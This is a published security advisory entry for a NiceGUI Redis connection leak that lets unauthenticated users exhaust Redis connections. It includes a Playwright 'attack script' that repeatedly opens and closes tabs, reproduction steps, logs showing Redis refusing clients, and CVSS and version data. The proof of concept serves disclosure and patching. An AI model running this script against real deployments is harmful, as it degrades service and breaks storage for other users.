PYSEC-2026-1703

Vulnerability from pysec - Published: 2026-07-07 16:03 - Updated: 2026-07-07 17:24
VLAI
Details

Summary

An unauthenticated attacker can exhaust Redis connections by repeatedly opening and closing browser tabs on any NiceGUI application using Redis-backed storage. Connections are never released, leading to service degradation when Redis hits its connection limit. NiceGUI continues accepting new connections - errors are logged but the app stays up with broken storage functionality.

Details

When a client disconnects, tab_id is cleared at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L307 before delete() is called at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L319. By then tab_id is None, so there's no way to find the RedisPersistentDict and call https://github.com/zauberzeug/nicegui/blob/main/nicegui/persistence/redis_persistent_dict.py#L92.

Each tab creates a RedisPersistentDict with a Redis client connection and a pubsub subscription. These are never closed, accumulating until Redis maxclients is reached.

PoC

Test server (test_connection_leak.py)

import os
import logging
from datetime import timedelta

import redis
from nicegui import ui, app
from nicegui.client import Client

logging.basicConfig(level=logging.WARNING, format="%(asctime)s %(levelname)s %(message)s")
logging.getLogger("leak").setLevel(logging.INFO)
log = logging.getLogger("leak")

_original_handle_disconnect = Client.handle_disconnect
_original_delete = Client.delete


def _patched_handle_disconnect(self, socket_id: str) -> None:
    tab_id_before = self.tab_id
    _original_handle_disconnect(self, socket_id)
    log.warning("disconnect: tab_id=%s cleared, tabs=%d", tab_id_before, len(app.storage._tabs))


def _patched_delete(self) -> None:
    tab_id = self.tab_id
    tabs_before = len(app.storage._tabs)
    _original_delete(self)
    log.error("delete: tab_id=%s, tabs=%d->%d", tab_id, tabs_before, len(app.storage._tabs))


Client.handle_disconnect = _patched_handle_disconnect
Client.delete = _patched_delete

_last_stats: tuple[int, int] = (0, 0)


def log_stats() -> None:
    global _last_stats
    client = redis.from_url(os.environ["NICEGUI_REDIS_URL"])
    conns = client.info("clients")["connected_clients"]
    client.close()
    tabs = len(app.storage._tabs)
    if (conns, tabs) != _last_stats:
        log.info("stats: conns=%d tabs=%d", conns, tabs)
        _last_stats = (conns, tabs)


@ui.page("/")
async def main():
    await ui.context.client.connected()
    app.storage.tab["visited"] = True
    ui.label("Check logs")
    ui.timer(interval=2.0, callback=log_stats)


if __name__ == "__main__":
    app.storage.max_tab_storage_age = timedelta(days=30).total_seconds()
    ui.run(storage_secret="test", reconnect_timeout=2.0, reload=False)

Attack script (attack_connection_leak.py)

import asyncio
from playwright.async_api import async_playwright


async def attack(url: str, num_tabs: int) -> None:
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        for i in range(num_tabs):
            context = await browser.new_context()
            page = await context.new_page()
            try:
                await page.goto(url, wait_until="domcontentloaded", timeout=10000)
                await page.wait_for_timeout(500)
            except Exception:
                pass
            await context.close()
        await browser.close()


if __name__ == "__main__":
    asyncio.run(attack(url="http://127.0.0.1:8080/", num_tabs=100))

Steps to reproduce

  1. Limit Redis connections: redis-cli CONFIG SET maxclients 50
  2. Start server: NICEGUI_REDIS_URL=redis://localhost:6379/0 python test_connection_leak.py
  3. Run attack: python attack_connection_leak.py
  4. Observe server logs - Redis refuses connections:
NiceGUI ready to go on http://localhost:8080, http://10.201.1.10:8080, http://127.94.0.1:8080, http://127.94.0.2:8080, and http://192.168.0.15:8080
2026-01-01 17:19:43,226 INFO stats: conns=12 tabs=1
2026-01-01 17:19:45,945 INFO stats: conns=14 tabs=1
2026-01-01 17:21:14,504 INFO stats: conns=16 tabs=2
2026-01-01 17:21:14,506 WARNING disconnect: tab_id=4c1fc610-0fa9-4e8f-bb7a-c7882d22e599 cleared, tabs=2
2026-01-01 17:21:16,339 INFO stats: conns=19 tabs=3
2026-01-01 17:21:16,963 ERROR delete: tab_id=None, tabs=3->3
2026-01-01 17:21:16,964 WARNING disconnect: tab_id=e62f8ff3-9b91-431c-a66e-ce64dc37fc41 cleared, tabs=3
2026-01-01 17:21:17,563 INFO stats: conns=20 tabs=3
2026-01-01 17:21:18,342 INFO stats: conns=21 tabs=3
2026-01-01 17:21:19,397 INFO stats: conns=23 tabs=4
2026-01-01 17:21:20,022 ERROR delete: tab_id=None, tabs=4->4
2026-01-01 17:21:20,022 WARNING disconnect: tab_id=acafc0de-83bd-4919-8a78-e7775eb5b0cb cleared, tabs=4
2026-01-01 17:21:21,952 INFO stats: conns=27 tabs=5
2026-01-01 17:21:23,204 ERROR delete: tab_id=None, tabs=5->5
2026-01-01 17:21:23,204 WARNING disconnect: tab_id=56df6fab-7342-4823-8cc4-0e997d9da40a cleared, tabs=5
2026-01-01 17:21:23,829 INFO stats: conns=28 tabs=5
2026-01-01 17:21:25,280 INFO stats: conns=29 tabs=5
2026-01-01 17:21:25,881 ERROR delete: tab_id=None, tabs=5->5
2026-01-01 17:21:26,578 INFO stats: conns=30 tabs=5
2026-01-01 17:21:27,567 INFO stats: conns=32 tabs=6
2026-01-01 17:21:27,569 WARNING disconnect: tab_id=f1f79c1e-80ef-4753-a228-fdc13eb29e19 cleared, tabs=6
2026-01-01 17:21:28,579 INFO stats: conns=34 tabs=6
2026-01-01 17:21:29,449 INFO stats: conns=35 tabs=7
2026-01-01 17:21:30,074 ERROR delete: tab_id=None, tabs=7->7
2026-01-01 17:21:30,075 WARNING disconnect: tab_id=9f1326eb-75d8-4ea3-99fb-e47f54d45371 cleared, tabs=7
2026-01-01 17:21:30,701 INFO stats: conns=36 tabs=7
2026-01-01 17:21:31,454 INFO stats: conns=37 tabs=7
2026-01-01 17:21:32,531 INFO stats: conns=40 tabs=8
2026-01-01 17:21:33,185 ERROR delete: tab_id=None, tabs=8->8
2026-01-01 17:21:33,185 WARNING disconnect: tab_id=5f0b0e71-0ea0-4488-b392-cda09299a8f2 cleared, tabs=8
2026-01-01 17:21:34,436 INFO stats: conns=40 tabs=9
2026-01-01 17:21:35,063 WARNING disconnect: tab_id=a6e014ed-e76e-449d-a6eb-e8676cca1cc5 cleared, tabs=9
2026-01-01 17:21:35,685 INFO stats: conns=41 tabs=9
2026-01-01 17:21:35,686 ERROR delete: tab_id=None, tabs=9->9
2026-01-01 17:21:36,411 INFO stats: conns=42 tabs=9
2026-01-01 17:21:37,479 INFO stats: conns=45 tabs=10
2026-01-01 17:21:38,112 ERROR delete: tab_id=None, tabs=10->10
2026-01-01 17:21:38,112 WARNING disconnect: tab_id=9dd7a6ca-50da-436a-966f-38c835b65f7b cleared, tabs=10
2026-01-01 17:21:39,342 INFO stats: conns=48 tabs=11
2026-01-01 17:21:39,600 ERROR max number of clients reached
Traceback (most recent call last):
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/nicegui/timer.py", line 111, in _invoke_callback
    result = self.callback()
  File "/Users/dyudelevich/dev/test_connection_leak.py", line 45, in log_stats
    conns = client.info("clients")["connected_clients"]
            ~~~~~~~~~~~^^^^^^^^^^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/commands/core.py", line 1005, in info
    return self.execute_command("INFO", section, *args, **kwargs)
           ~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/client.py", line 657, in execute_command
    return self._execute_command(*args, **options)
           ~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/client.py", line 663, in _execute_command
    conn = self.connection or pool.get_connection()
                              ~~~~~~~~~~~~~~~~~~~^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/utils.py", line 196, in wrapper
    return func(*args, **kwargs)
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py", line 2601, in get_connection
    connection.connect()
    ~~~~~~~~~~~~~~~~~~^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py", line 846, in connect
    self.connect_check_health(check_health=True)
    ~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py", line 869, in connect_check_health
    self.on_connect_check_health(check_health=check_health)
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py", line 941, in on_connect_check_health
    auth_response = self.read_response()
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py", line 1133, in read_response
    response = self._parser.read_response(disable_decoding=disable_decoding)
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/_parsers/resp2.py", line 15, in read_response
    result = self._read_response(disable_decoding=disable_decoding)
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/_parsers/resp2.py", line 38, in _read_response
    raise error
redis.exceptions.ConnectionError: max number of clients reached
2026-01-01 17:21:39,618 WARNING disconnect: tab_id=711835bb-3677-44cc-a406-abb8ae487370 cleared, tabs=11
2026-01-01 17:21:39,618 WARNING Could not load data from Redis with key nicegui:tab-711835bb-3677-44cc-a406-abb8ae487370
2026-01-01 17:21:40,242 INFO stats: conns=49 tabs=11
2026-01-01 17:21:40,244 ERROR delete: tab_id=None, tabs=11->11
2026-01-01 17:21:40,502 WARNING Could not load data from Redis with key nicegui:user-3876bd1e-5769-43ef-8c78-6e5e77ae3436
2026-01-01 17:21:40,502 ERROR max number of clients reached
Traceback (most recent call last):
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/nicegui/background_tasks.py", line 93, in _handle_exceptions
    task.result()
    ~~~~~~~~~~~^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/nicegui/persistence/redis_persistent_dict.py", line 81, in backup
    if not await self.redis_client.exists(self.key) and not self:
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/client.py", line 720, in execute_command
    conn = self.connection or await pool.get_connection()
                              ^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 1198, in get_connection
    await self.ensure_connection(connection)
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 1231, in ensure_connection
    await connection.connect()
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 298, in connect
    await self.connect_check_health(check_health=True)
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 324, in connect_check_health
    await self.on_connect_check_health(check_health=check_health)
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 410, in on_connect_check_health
    auth_response = await self.read_response()
                    ^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 607, in read_response
    response = await self._parser.read_response(
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
        disable_decoding=disable_decoding
        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    )
    ^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/_parsers/resp2.py", line 82, in read_response
    response = await self._read_response(disable_decoding=disable_decoding)
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/_parsers/resp2.py", line 102, in _read_response
    raise error
redis.exceptions.ConnectionError: max number of clients reached

2026-01-01 17:21:39,600 ERROR max number of clients reached redis.exceptions.ConnectionError: max number of clients reached

Impact

Affects all NiceGUI deployments using Redis storage. No authentication required. Attacker opens/closes browser tabs until Redis refuses new connections. NiceGUI handles errors gracefully so the app stays up, but new users lose persistent storage (tab/user data not saved) and any Redis-dependent functionality breaks.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Impacted products
Name purl
nicegui pkg:pypi/nicegui
Aliases
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "nicegui",
        "purl": "pkg:pypi/nicegui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.10.0"
            },
            {
              "fixed": "3.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.10.0",
        "2.10.1",
        "2.11.0",
        "2.11.1",
        "2.12.0",
        "2.12.1",
        "2.13.0",
        "2.14.0",
        "2.14.1",
        "2.15.0",
        "2.16.0",
        "2.16.1",
        "2.17.0",
        "2.18.0",
        "2.19.0",
        "2.20.0",
        "2.21.0",
        "2.21.1",
        "2.22.0",
        "2.22.1",
        "2.22.2",
        "2.23.0",
        "2.23.1",
        "2.23.2",
        "2.23.3",
        "2.24.0",
        "2.24.1",
        "2.24.2",
        "3.0.0",
        "3.0.0rc1",
        "3.0.1",
        "3.0.2",
        "3.0.3",
        "3.0.4",
        "3.1.0",
        "3.2.0",
        "3.3.0",
        "3.3.1",
        "3.4.0",
        "3.4.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-21874",
    "GHSA-mp55-g7pj-rvm2"
  ],
  "details": "### Summary\nAn unauthenticated attacker can exhaust Redis connections by repeatedly opening and closing browser tabs on any NiceGUI application using Redis-backed storage. Connections are never released, leading to service degradation when Redis hits its connection limit.\n**NiceGUI continues accepting new connections - errors are logged but the app stays up with broken storage functionality.**\n\n### Details\nWhen a client disconnects, tab_id is cleared at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L307 before delete() is called at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L319. By then tab_id is None, so there\u0027s no way to find the RedisPersistentDict and call https://github.com/zauberzeug/nicegui/blob/main/nicegui/persistence/redis_persistent_dict.py#L92.\n\nEach tab creates a RedisPersistentDict with a Redis client connection and a pubsub subscription. These are never closed, accumulating until Redis maxclients is reached.\n\n### PoC\n#### Test server (test_connection_leak.py)\n\n```python\nimport os\nimport logging\nfrom datetime import timedelta\n\nimport redis\nfrom nicegui import ui, app\nfrom nicegui.client import Client\n\nlogging.basicConfig(level=logging.WARNING, format=\"%(asctime)s %(levelname)s %(message)s\")\nlogging.getLogger(\"leak\").setLevel(logging.INFO)\nlog = logging.getLogger(\"leak\")\n\n_original_handle_disconnect = Client.handle_disconnect\n_original_delete = Client.delete\n\n\ndef _patched_handle_disconnect(self, socket_id: str) -\u003e None:\n    tab_id_before = self.tab_id\n    _original_handle_disconnect(self, socket_id)\n    log.warning(\"disconnect: tab_id=%s cleared, tabs=%d\", tab_id_before, len(app.storage._tabs))\n\n\ndef _patched_delete(self) -\u003e None:\n    tab_id = self.tab_id\n    tabs_before = len(app.storage._tabs)\n    _original_delete(self)\n    log.error(\"delete: tab_id=%s, tabs=%d-\u003e%d\", tab_id, tabs_before, len(app.storage._tabs))\n\n\nClient.handle_disconnect = _patched_handle_disconnect\nClient.delete = _patched_delete\n\n_last_stats: tuple[int, int] = (0, 0)\n\n\ndef log_stats() -\u003e None:\n    global _last_stats\n    client = redis.from_url(os.environ[\"NICEGUI_REDIS_URL\"])\n    conns = client.info(\"clients\")[\"connected_clients\"]\n    client.close()\n    tabs = len(app.storage._tabs)\n    if (conns, tabs) != _last_stats:\n        log.info(\"stats: conns=%d tabs=%d\", conns, tabs)\n        _last_stats = (conns, tabs)\n\n\n@ui.page(\"/\")\nasync def main():\n    await ui.context.client.connected()\n    app.storage.tab[\"visited\"] = True\n    ui.label(\"Check logs\")\n    ui.timer(interval=2.0, callback=log_stats)\n\n\nif __name__ == \"__main__\":\n    app.storage.max_tab_storage_age = timedelta(days=30).total_seconds()\n    ui.run(storage_secret=\"test\", reconnect_timeout=2.0, reload=False)\n```\n\n#### Attack script (attack_connection_leak.py)\n\n```python\nimport asyncio\nfrom playwright.async_api import async_playwright\n\n\nasync def attack(url: str, num_tabs: int) -\u003e None:\n    async with async_playwright() as p:\n        browser = await p.chromium.launch(headless=True)\n        for i in range(num_tabs):\n            context = await browser.new_context()\n            page = await context.new_page()\n            try:\n                await page.goto(url, wait_until=\"domcontentloaded\", timeout=10000)\n                await page.wait_for_timeout(500)\n            except Exception:\n                pass\n            await context.close()\n        await browser.close()\n\n\nif __name__ == \"__main__\":\n    asyncio.run(attack(url=\"http://127.0.0.1:8080/\", num_tabs=100))\n```\n\n#### Steps to reproduce\n\n1. Limit Redis connections: `redis-cli CONFIG SET maxclients 50`\n2. Start server: `NICEGUI_REDIS_URL=redis://localhost:6379/0 python test_connection_leak.py`\n3. Run attack: `python attack_connection_leak.py`\n4. Observe server logs - Redis refuses connections:\n```\nNiceGUI ready to go on http://localhost:8080, http://10.201.1.10:8080, http://127.94.0.1:8080, http://127.94.0.2:8080, and http://192.168.0.15:8080\n2026-01-01 17:19:43,226 INFO stats: conns=12 tabs=1\n2026-01-01 17:19:45,945 INFO stats: conns=14 tabs=1\n2026-01-01 17:21:14,504 INFO stats: conns=16 tabs=2\n2026-01-01 17:21:14,506 WARNING disconnect: tab_id=4c1fc610-0fa9-4e8f-bb7a-c7882d22e599 cleared, tabs=2\n2026-01-01 17:21:16,339 INFO stats: conns=19 tabs=3\n2026-01-01 17:21:16,963 ERROR delete: tab_id=None, tabs=3-\u003e3\n2026-01-01 17:21:16,964 WARNING disconnect: tab_id=e62f8ff3-9b91-431c-a66e-ce64dc37fc41 cleared, tabs=3\n2026-01-01 17:21:17,563 INFO stats: conns=20 tabs=3\n2026-01-01 17:21:18,342 INFO stats: conns=21 tabs=3\n2026-01-01 17:21:19,397 INFO stats: conns=23 tabs=4\n2026-01-01 17:21:20,022 ERROR delete: tab_id=None, tabs=4-\u003e4\n2026-01-01 17:21:20,022 WARNING disconnect: tab_id=acafc0de-83bd-4919-8a78-e7775eb5b0cb cleared, tabs=4\n2026-01-01 17:21:21,952 INFO stats: conns=27 tabs=5\n2026-01-01 17:21:23,204 ERROR delete: tab_id=None, tabs=5-\u003e5\n2026-01-01 17:21:23,204 WARNING disconnect: tab_id=56df6fab-7342-4823-8cc4-0e997d9da40a cleared, tabs=5\n2026-01-01 17:21:23,829 INFO stats: conns=28 tabs=5\n2026-01-01 17:21:25,280 INFO stats: conns=29 tabs=5\n2026-01-01 17:21:25,881 ERROR delete: tab_id=None, tabs=5-\u003e5\n2026-01-01 17:21:26,578 INFO stats: conns=30 tabs=5\n2026-01-01 17:21:27,567 INFO stats: conns=32 tabs=6\n2026-01-01 17:21:27,569 WARNING disconnect: tab_id=f1f79c1e-80ef-4753-a228-fdc13eb29e19 cleared, tabs=6\n2026-01-01 17:21:28,579 INFO stats: conns=34 tabs=6\n2026-01-01 17:21:29,449 INFO stats: conns=35 tabs=7\n2026-01-01 17:21:30,074 ERROR delete: tab_id=None, tabs=7-\u003e7\n2026-01-01 17:21:30,075 WARNING disconnect: tab_id=9f1326eb-75d8-4ea3-99fb-e47f54d45371 cleared, tabs=7\n2026-01-01 17:21:30,701 INFO stats: conns=36 tabs=7\n2026-01-01 17:21:31,454 INFO stats: conns=37 tabs=7\n2026-01-01 17:21:32,531 INFO stats: conns=40 tabs=8\n2026-01-01 17:21:33,185 ERROR delete: tab_id=None, tabs=8-\u003e8\n2026-01-01 17:21:33,185 WARNING disconnect: tab_id=5f0b0e71-0ea0-4488-b392-cda09299a8f2 cleared, tabs=8\n2026-01-01 17:21:34,436 INFO stats: conns=40 tabs=9\n2026-01-01 17:21:35,063 WARNING disconnect: tab_id=a6e014ed-e76e-449d-a6eb-e8676cca1cc5 cleared, tabs=9\n2026-01-01 17:21:35,685 INFO stats: conns=41 tabs=9\n2026-01-01 17:21:35,686 ERROR delete: tab_id=None, tabs=9-\u003e9\n2026-01-01 17:21:36,411 INFO stats: conns=42 tabs=9\n2026-01-01 17:21:37,479 INFO stats: conns=45 tabs=10\n2026-01-01 17:21:38,112 ERROR delete: tab_id=None, tabs=10-\u003e10\n2026-01-01 17:21:38,112 WARNING disconnect: tab_id=9dd7a6ca-50da-436a-966f-38c835b65f7b cleared, tabs=10\n2026-01-01 17:21:39,342 INFO stats: conns=48 tabs=11\n2026-01-01 17:21:39,600 ERROR max number of clients reached\nTraceback (most recent call last):\n  File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/nicegui/timer.py\", line 111, in _invoke_callback\n    result = self.callback()\n  File \"/Users/dyudelevich/dev/test_connection_leak.py\", line 45, in log_stats\n    conns = client.info(\"clients\")[\"connected_clients\"]\n            ~~~~~~~~~~~^^^^^^^^^^^\n  File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/commands/core.py\", line 1005, in info\n    return self.execute_command(\"INFO\", section, *args, **kwargs)\n           ~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/client.py\", line 657, in execute_command\n    return self._execute_command(*args, **options)\n           ~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^\n  File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/client.py\", line 663, in _execute_command\n    conn = self.connection or pool.get_connection()\n                              ~~~~~~~~~~~~~~~~~~~^^\n  File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/utils.py\", line 196, in wrapper\n    return func(*args, **kwargs)\n  File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py\", line 2601, in get_connection\n    connection.connect()\n    ~~~~~~~~~~~~~~~~~~^^\n  File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py\", line 846, in connect\n    self.connect_check_health(check_health=True)\n    ~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^\n  File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py\", line 869, in connect_check_health\n    self.on_connect_check_health(check_health=check_health)\n    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py\", line 941, in on_connect_check_health\n    auth_response = self.read_response()\n  File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py\", line 1133, in read_response\n    response = self._parser.read_response(disable_decoding=disable_decoding)\n  File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/_parsers/resp2.py\", line 15, in read_response\n    result = self._read_response(disable_decoding=disable_decoding)\n  File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/_parsers/resp2.py\", line 38, in _read_response\n    raise error\nredis.exceptions.ConnectionError: max number of clients reached\n2026-01-01 17:21:39,618 WARNING disconnect: tab_id=711835bb-3677-44cc-a406-abb8ae487370 cleared, tabs=11\n2026-01-01 17:21:39,618 WARNING Could not load data from Redis with key nicegui:tab-711835bb-3677-44cc-a406-abb8ae487370\n2026-01-01 17:21:40,242 INFO stats: conns=49 tabs=11\n2026-01-01 17:21:40,244 ERROR delete: tab_id=None, tabs=11-\u003e11\n2026-01-01 17:21:40,502 WARNING Could not load data from Redis with key nicegui:user-3876bd1e-5769-43ef-8c78-6e5e77ae3436\n2026-01-01 17:21:40,502 ERROR max number of clients reached\nTraceback (most recent call last):\n  File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/nicegui/background_tasks.py\", line 93, in _handle_exceptions\n    task.result()\n    ~~~~~~~~~~~^^\n  File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/nicegui/persistence/redis_persistent_dict.py\", line 81, in backup\n    if not await self.redis_client.exists(self.key) and not self:\n           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/client.py\", line 720, in execute_command\n    conn = self.connection or await pool.get_connection()\n                              ^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py\", line 1198, in get_connection\n    await self.ensure_connection(connection)\n  File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py\", line 1231, in ensure_connection\n    await connection.connect()\n  File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py\", line 298, in connect\n    await self.connect_check_health(check_health=True)\n  File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py\", line 324, in connect_check_health\n    await self.on_connect_check_health(check_health=check_health)\n  File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py\", line 410, in on_connect_check_health\n    auth_response = await self.read_response()\n                    ^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py\", line 607, in read_response\n    response = await self._parser.read_response(\n               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n        disable_decoding=disable_decoding\n        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n    )\n    ^\n  File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/_parsers/resp2.py\", line 82, in read_response\n    response = await self._read_response(disable_decoding=disable_decoding)\n               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/_parsers/resp2.py\", line 102, in _read_response\n    raise error\nredis.exceptions.ConnectionError: max number of clients reached\n```\n2026-01-01 17:21:39,600 ERROR max number of clients reached\nredis.exceptions.ConnectionError: max number of clients reached\n\n## Impact\n\nAffects all NiceGUI deployments using Redis storage. No authentication required. Attacker opens/closes browser tabs until Redis refuses new connections. NiceGUI handles errors gracefully so the app stays up, but new users lose persistent storage (tab/user data not saved) and any Redis-dependent functionality breaks.",
  "id": "PYSEC-2026-1703",
  "modified": "2026-07-07T17:24:49.458224Z",
  "published": "2026-07-07T16:03:17.363696Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zauberzeug/nicegui/security/advisories/GHSA-mp55-g7pj-rvm2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21874"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zauberzeug/nicegui/commit/6c52eb2c90c4b67387c025b29646b4bc1578eb83"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zauberzeug/nicegui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zauberzeug/nicegui/releases/tag/v3.5.0"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/nicegui"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-mp55-g7pj-rvm2"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "NiceGUI has Redis connection leak via tab storage causes service degradation"
}



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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.